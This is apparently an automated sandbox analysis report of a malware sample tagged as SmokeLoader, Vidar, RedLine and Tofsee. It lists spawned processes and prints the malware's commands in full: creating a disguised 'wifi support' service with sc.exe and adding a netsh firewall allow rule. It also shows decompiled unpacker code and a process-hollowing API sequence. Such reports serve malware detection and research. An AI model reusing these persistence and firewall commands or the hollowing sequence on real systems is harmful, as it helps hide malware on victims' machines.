Analysis Process: svchost.exe PID: 4400 Parent PID: 556

General

Start time:	20:49:48
Start date:	13/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 5784 Parent PID: 556

General

Start time:	20:49:49
Start date:	13/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 5400 Parent PID: 556

General

Start time:	20:49:50
Start date:	13/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 5056 Parent PID: 556

General

Start time:	20:49:50
Start date:	13/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetworkService -p
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: SgrmBroker.exe PID: 2872 Parent PID: 556

General

Start time:	20:49:51
Start date:	13/01/2022
Path:	C:\Windows\System32\SgrmBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\SgrmBroker.exe
Imagebase:	0x7ff7d4480000
File size:	163336 bytes
MD5 hash:	D3170A3F3A9626597EEE1888686E3EA6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 5796 Parent PID: 556

General

Start time:	20:49:52
Start date:	13/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 3540 Parent PID: 556

General

Start time:	20:49:53
Start date:	13/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 1280 Parent PID: 556

General

Start time:	20:50:07
Start date:	13/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: tiftjuh PID: 4892 Parent PID: 904

General

Start time:	20:50:16
Start date:	13/01/2022
Path:	C:\Users\user\AppData\Roaming\tiftjuh
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\tiftjuh
Imagebase:	0x400000
File size:	283648 bytes
MD5 hash:	A7444553F8A8FE2702B6FD48008D6605
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 66%, ReversingLabs

Chronological Activities

Analysis Process: tiftjuh PID: 5816 Parent PID: 4892

General

Start time:	20:50:18
Start date:	13/01/2022
Path:	C:\Users\user\AppData\Roaming\tiftjuh
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\tiftjuh
Imagebase:	0x400000
File size:	283648 bytes
MD5 hash:	A7444553F8A8FE2702B6FD48008D6605
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000015.00000002.360645909.00000000004D1000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000015.00000002.360518485.00000000004A0000.00000004.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: 2819.exe PID: 3104 Parent PID: 3472

General

Start time:	20:50:20
Start date:	13/01/2022
Path:	C:\Users\user\AppData\Local\Temp\2819.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\2819.exe
Imagebase:	0x400000
File size:	301056 bytes
MD5 hash:	277680BD3182EB0940BC356FF4712BEF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 46%, Metadefender, Browse Detection: 77%, ReversingLabs

Chronological Activities

Analysis Process: svchost.exe PID: 5208 Parent PID: 556

General

Start time:	20:50:25
Start date:	13/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: 3D67.exe PID: 5276 Parent PID: 3472

General

Start time:	20:50:25
Start date:	13/01/2022
Path:	C:\Users\user\AppData\Local\Temp\3D67.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\3D67.exe
Imagebase:	0x400000
File size:	294400 bytes
MD5 hash:	BB0BA8D31F37E6B9F683EBD9044F1A85
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML

Chronological Activities

Analysis Process: WerFault.exe PID: 5736 Parent PID: 5208

General

Start time:	20:50:26
Start date:	13/01/2022
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 3104 -ip 3104
Imagebase:	0x1e0000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: WerFault.exe PID: 5956 Parent PID: 3104

General

Start time:	20:50:28
Start date:	13/01/2022
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 3104 -s 540
Imagebase:	0x1e0000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: 3D67.exe PID: 4968 Parent PID: 5276

General

Start time:	20:50:29
Start date:	13/01/2022
Path:	C:\Users\user\AppData\Local\Temp\3D67.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\3D67.exe
Imagebase:	0x400000
File size:	294400 bytes
MD5 hash:	BB0BA8D31F37E6B9F683EBD9044F1A85
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000001C.00000002.386280466.0000000001F30000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000001C.00000002.386498287.0000000002431000.00000004.00020000.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: FD2B.exe PID: 468 Parent PID: 3472

General

Start time:	20:50:30
Start date:	13/01/2022
Path:	C:\Users\user\AppData\Local\Temp\FD2B.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\FD2B.exe
Imagebase:	0x400000
File size:	327168 bytes
MD5 hash:	CEBAF005081C730D4AC7A87E46B440D0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001D.00000002.379514532.0000000000482000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000001D.00000002.379514532.0000000000482000.00000004.00000020.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML

Chronological Activities

Analysis Process: 952.exe PID: 1068 Parent PID: 3472

General

Start time:	20:50:33
Start date:	13/01/2022
Path:	C:\Users\user\AppData\Local\Temp\952.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\952.exe
Imagebase:	0x400000
File size:	313344 bytes
MD5 hash:	4C29CFD658E015FA4DB5A2454F103D4A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 0000001E.00000002.412229320.0000000000580000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 0000001E.00000003.383697292.00000000005A0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML

Chronological Activities

Analysis Process: 13E2.exe PID: 2316 Parent PID: 3472

General

Start time:	20:50:35
Start date:	13/01/2022
Path:	C:\Users\user\AppData\Local\Temp\13E2.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\13E2.exe
Imagebase:	0xc80000
File size:	537088 bytes
MD5 hash:	D7DF01D8158BFADDC8BA48390E52F355
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000020.00000002.447751764.0000000004021000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 46%, Metadefender, Browse Detection: 89%, ReversingLabs

Chronological Activities

Analysis Process: cmd.exe PID: 4356 Parent PID: 1068

General

Start time:	20:50:41
Start date:	13/01/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\bhlprady\
Imagebase:	0x150000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 6168 Parent PID: 4356

General

Start time:	20:50:42
Start date:	13/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6248 Parent PID: 1068

General

Start time:	20:50:43
Start date:	13/01/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\vodibdaj.exe" C:\Windows\SysWOW64\bhlprady\
Imagebase:	0x150000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 6260 Parent PID: 6248

General

Start time:	20:50:44
Start date:	13/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: sc.exe PID: 6304 Parent PID: 1068

General

Start time:	20:50:44
Start date:	13/01/2022
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\sc.exe" create bhlprady binPath= "C:\Windows\SysWOW64\bhlprady\vodibdaj.exe /d\"C:\Users\user\AppData\Local\Temp\952.exe\"" type= own start= auto DisplayName= "wifi support
Imagebase:	0xfd0000
File size:	60928 bytes
MD5 hash:	24A3E2603E63BCB9695A2935D3B24695
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 6332 Parent PID: 6304

General

Start time:	20:50:45
Start date:	13/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: sc.exe PID: 6372 Parent PID: 1068

General

Start time:	20:50:46
Start date:	13/01/2022
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\sc.exe" description bhlprady "wifi internet conection
Imagebase:	0xfd0000
File size:	60928 bytes
MD5 hash:	24A3E2603E63BCB9695A2935D3B24695
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 6384 Parent PID: 6372

General

Start time:	20:50:46
Start date:	13/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: sc.exe PID: 6412 Parent PID: 1068

General

Start time:	20:50:47
Start date:	13/01/2022
Path:	C:\Windows\SysWOW64\sc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\sc.exe" start bhlprady
Imagebase:	0xfd0000
File size:	60928 bytes
MD5 hash:	24A3E2603E63BCB9695A2935D3B24695
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 6436 Parent PID: 6412

General

Start time:	20:50:48
Start date:	13/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: netsh.exe PID: 6460 Parent PID: 1068

General

Start time:	20:50:48
Start date:	13/01/2022
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
Imagebase:	0x11f0000
File size:	82944 bytes
MD5 hash:	A0AA3322BB46BBFC36AB9DC1DBBBB807
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: vodibdaj.exe PID: 6484 Parent PID: 556

General

Start time:	20:50:49
Start date:	13/01/2022
Path:	C:\Windows\SysWOW64\bhlprady\vodibdaj.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\bhlprady\vodibdaj.exe /d"C:\Users\user\AppData\Local\Temp\952.exe"
Imagebase:	0x400000
File size:	13043712 bytes
MD5 hash:	E331BE085840751FF0AC8DCBCDC5F5E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 0000002C.00000002.417710033.0000000000540000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 0000002C.00000002.417504443.0000000000400000.00000040.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 0000002C.00000002.417841182.0000000000610000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 0000002C.00000003.415295647.0000000000560000.00000004.00000001.sdmp, Author: Joe Security

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: emPJndhuvA.exe PID: 3352 Parent PID: 5996 emPJndhuvA.exeCOMMON

Execution Graph

Execution Coverage:	7.4%
Dynamic/Decrypted Code Coverage:	2%
Signature Coverage:	6.8%
Total number of Nodes:	1954
Total number of Limit Nodes:	40

Executed Functions

Function 00401324, Relevance: 56.2, APIs: 25, Strings: 7, Instructions: 181
memorytimethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 66%

			E00401324(void* __edx, void* __fp0) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t33;
				intOrPtr _t35;
				void* _t40;
				void* _t41;
				intOrPtr* _t70;
				intOrPtr* _t72;
				WCHAR* _t77;
				void* _t83;
				void* _t84;
				void* _t87;
				void* _t90;
				void* _t91;
				void* _t95;
				intOrPtr* _t97;
				intOrPtr* _t99;
				void* _t114;

				_t114 = __fp0;
				_t84 = __edx;
				E00412CF4(E00412DE3, _t95);
				E00410220(0x10c8);
				_push(_t90);
				_t77 = 0;
				_t101 =  *0x43cc54 - 0x20a;
				if( *0x43cc54 == 0x20a) {
					CompareFileTime(0, 0);
					EnumSystemLocalesW(0, 0);
					__imp__GetConsoleAliasesA(_t95 - 0x4d4, 0, 0);
					FindResourceExW(0, L"misiti", L"ziturizobajicis", 0);
					GetVersionExA(_t95 - 0xd4);
					VirtualQuery(0, 0, 0);
					CreateThread(0, 0, 0, 0, 0, 0);
					__imp__SetComputerNameExA(0, 0);
					_push("runexobozez");
					E004023E9(0, _t84, 0x439b90, _t90, _t101);
					_t83 = 0x439b90;
					_t94 = _t95 - 0x2c;
					 *((intOrPtr*)(_t95 - 0x14)) = 7;
					 *((intOrPtr*)(_t95 - 0x18)) = 0;
					 *((short*)(_t95 - 0x28)) = 0;
					E004018D0(_t95 - 0x2c, 6);
					 *(_t95 - 4) = 0;
					E004021E7(0, _t84, 0x439b90, 0);
					 *_t97 = 0x929;
					_push(0xea);
					E00402158(_t83, _t101);
					E00402396(0, 0, "0.txt", "rb");
					_push(0);
					_push(0);
					E00402AE7(0, _t84, 0x439b90, _t95 - 0x2c, _t101);
					_t99 = _t97 + 0x18;
					_t70 = _t99;
					 *_t70 = 0;
					 *((intOrPtr*)(_t70 + 4)) = 0;
					E00402CB0(_t84, 0);
					st0 = _t114;
					_t72 = _t99;
					 *_t72 = 0;
					 *((intOrPtr*)(_t72 + 4)) = 0;
					E004024C0(0x439b90);
					st0 = _t114;
					_push(0);
					E004028FE(0, _t84, 0x439b90, _t95 - 0x2c, _t101);
					 *(_t95 - 4) =  *(_t95 - 4) | 0xffffffff;
					E00401731(0, 0x439b90, _t94, _t95, 1, 0);
				}
				_t91 = 0;
				while(1) {
					__imp__GetConsoleAliasA(_t77, _t77, _t77, _t77);
					if(_t91 > 0x90ce655) {
						break;
					}
					_t91 = _t91 + 1;
					if(_t91 < 0x7048dce2) {
						continue;
					}
					break;
				}
				E004012F5();
				 *0x43c744 = GetModuleHandleA(0x439b90);
				_t33 = GlobalAlloc(_t77,  *0x43cc54); // executed
				 *0x43c740 = _t33;
				E00401309();
				_t35 =  *0x4185f4; // 0x37e2cd
				_t87 = 0;
				 *0x43e044 = _t35;
				if( *0x43cc54 > _t77) {
					do {
						 *((char*)( *0x43c740 + _t87)) =  *((intOrPtr*)( *0x43e044 + _t87 + 0xb2d3b));
						if( *0x43cc54 == 0x44) {
							GetConsoleTitleA(_t95 - 0x4d4, _t77);
						}
						_t87 = _t87 + 1;
					} while (_t87 <  *0x43cc54);
				}
				 *(_t95 - 0x10) = _t77;
				do {
					_t79 =  *(_t95 - 0x10);
					if( *(_t95 - 0x10) +  *0x43cc54 == 0x5e) {
						GetConsoleTitleA(_t95 - 0x8d4, _t77);
						GetAtomNameW(_t77, _t95 - 0x10d4, _t77);
						 *(_t95 - 0x40) = _t77;
						asm("stosd");
						asm("stosd");
						asm("stosd");
						asm("stosd");
						CreateIoCompletionPort(_t77, _t95 - 0x40, _t77, _t77);
						GetFileAttributesW(L"vofazegekasu");
						GetDefaultCommConfigW(_t77, _t77, _t77);
					}
					 *(_t95 - 0x10) =  &(( *(_t95 - 0x10))[0]);
				} while ( *(_t95 - 0x10) < 0x40c893);
				E00401208();
				do {
					if(_t77 == 0xc06) {
						E004012DB(_t79);
					}
					_t77 =  &(_t77[0]);
				} while (_t77 < 0x246b35);
				_t40 =  *0x43c740;
				 *0x43cc48 = _t40;
				_t41 =  *_t40();
				 *[fs:0x0] =  *((intOrPtr*)(_t95 - 0xc));
				return _t41;
			}

0x00401324
0x00401324
0x00401329
0x00401333
0x00401339
0x0040133a
0x0040133c
0x0040134c
0x00401354
0x0040135c
0x0040136b
0x0040137d
0x0040138a
0x00401393
0x0040139f
0x004013a7
0x004013ad
0x004013b3
0x004013b9
0x004013be
0x004013c1
0x004013c8
0x004013cb
0x004013cf
0x004013d5
0x004013d8
0x004013dd
0x004013e4
0x004013e9
0x004013f9
0x004013fe
0x004013ff
0x00401401
0x00401406
0x00401409
0x0040140b
0x0040140d
0x00401410
0x00401415
0x00401417
0x00401419
0x0040141b
0x0040141e
0x00401423
0x00401425
0x00401426
0x0040142b
0x00401435
0x00401435
0x0040143a
0x0040143c
0x00401440
0x0040144c
0x00000000
0x00000000
0x0040144e
0x00401455
0x00000000
0x00000000
0x00000000
0x00401455
0x00401457
0x00401469
0x0040146f
0x00401475
0x0040147a
0x0040147f
0x0040148a
0x0040148c
0x00401497
0x00401499
0x004014ab
0x004014b5
0x004014bf
0x004014bf
0x004014c1
0x004014c2
0x00401499
0x004014ca
0x004014cd
0x004014d2
0x004014da
0x004014e4
0x004014ef
0x004014f7
0x004014fd
0x004014fe
0x004014ff
0x00401501
0x00401508
0x00401513
0x0040151c
0x0040151c
0x00401522
0x00401525
0x0040152e
0x00401533
0x00401539
0x0040153b
0x0040153b
0x00401540
0x00401541
0x00401549
0x0040154e
0x00401553
0x0040155a
0x00401563

APIs

__EH_prolog.LIBCMT ref: 00401329
CompareFileTime.KERNEL32(00000000,00000000), ref: 00401354
EnumSystemLocalesW.KERNEL32(00000000,00000000), ref: 0040135C
GetConsoleAliasesA.KERNEL32(?,00000000,00000000), ref: 0040136B
FindResourceExW.KERNEL32(00000000,misiti,ziturizobajicis,00000000), ref: 0040137D
GetVersionExA.KERNEL32(?), ref: 0040138A
VirtualQuery.KERNEL32(00000000,00000000,00000000), ref: 00401393
CreateThread.KERNEL32 ref: 0040139F
SetComputerNameExA.KERNEL32(00000000,00000000), ref: 004013A7
_printf.LIBCMT ref: 004013B3
_malloc.LIBCMT ref: 004013D8

Part of subcall function 004021E7: __FF_MSGBANNER.LIBCMT ref: 0040220A
Part of subcall function 004021E7: __NMSG_WRITE.LIBCMT ref: 00402211
Part of subcall function 004021E7: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00409F64,00000001,00000001,00000001,?,00403DD7,00000018,00415FC8,0000000C,00403E68), ref: 0040225E

_calloc.LIBCMT ref: 004013E9

Part of subcall function 00402158: __calloc_impl.LIBCMT ref: 0040216D

__wfopen_s.LIBCMT ref: 004013F9
_fseek.LIBCMT ref: 00401401
__floor_pentium4.LIBCMT ref: 0040141E
_puts.LIBCMT ref: 00401426
GetConsoleAliasA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00401440
GetModuleHandleA.KERNEL32(kernel32.dll), ref: 0040145D
GlobalAlloc.KERNELBASE(00000000), ref: 0040146F
GetConsoleTitleA.KERNEL32(?,00000000), ref: 004014BF
GetConsoleTitleA.KERNEL32(?,00000000), ref: 004014E4
GetAtomNameW.KERNEL32(00000000,?,00000000), ref: 004014EF
CreateIoCompletionPort.KERNEL32(00000000,?,00000000,00000000), ref: 00401508
GetFileAttributesW.KERNEL32(vofazegekasu), ref: 00401513
GetDefaultCommConfigW.KERNEL32(00000000,00000000,00000000), ref: 0040151C

Strings

runexobozez, xrefs: 004013AD
ziturizobajicis, xrefs: 00401372
kernel32.dll, xrefs: 00401347, 004013B2, 0040145C
vofazegekasu, xrefs: 0040150E
5k$, xrefs: 00401541
0.txt, xrefs: 004013F3
misiti, xrefs: 00401377

Memory Dump Source

Source File: 00000000.00000002.249044190.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249040375.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249053095.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249057273.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249060153.0000000000418000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.249063977.0000000000431000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.249069989.0000000000439000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249074543.0000000000440000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_emPJndhuvA.jbxd

Similarity

API ID: Console$CreateFileNameTitle$AliasAliasesAllocAllocateAtomAttributesCommCompareCompletionComputerConfigDefaultEnumFindGlobalH_prologHandleHeapLocalesModulePortQueryResourceSystemThreadTimeVersionVirtual__calloc_impl__floor_pentium4__wfopen_s_calloc_fseek_malloc_printf_puts
String ID: 0.txt$5k$$kernel32.dll$misiti$runexobozez$vofazegekasu$ziturizobajicis
API String ID: 3234898121-10769510
Opcode ID: 0c17785dfcbb09d016eb3167777b9689174b650a77eb96eaafe486482e6fc214
Instruction ID: 4a84b1ffe600583df0842cacdf70a574a3da907e9a7727a2f3ad7d2a70156fe6
Opcode Fuzzy Hash: 0c17785dfcbb09d016eb3167777b9689174b650a77eb96eaafe486482e6fc214
Instruction Fuzzy Hash: 0D5150B1900204EFD700AFB9DDC99DE7BBCFB08349B10547AF506F21A2DB7899408B69

Uniqueness

Uniqueness Score: -1.00%

Function 00530110, Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 00530156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 0053016C
CreateProcessA.KERNELBASE(?,00000000), ref: 00530255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00530270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 00530283
GetThreadContext.KERNELBASE(00000000,?), ref: 0053029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 005302C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 005302E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 00530304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 0053032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 00530399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 005303BF
SetThreadContext.KERNELBASE(00000000,?), ref: 005303E1
ResumeThread.KERNELBASE(00000000), ref: 005303ED
ExitProcess.KERNEL32(00000000), ref: 00530412

Memory Dump Source

Source File: 00000000.00000002.249090248.0000000000530000.00000040.00000001.sdmp, Offset: 00530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_530000_emPJndhuvA.jbxd

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$Context$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 2875986403-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: a7548f494b9b63a109ef92b17c0d5ca4ab60a15208d9ca97040492f6881f8c89
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: CAB1C874A00208AFDB44CF98C895F9EBBB5FF88314F248158E509AB391D771AE41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00401564, Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 45
COMMON

Download Yara Rule

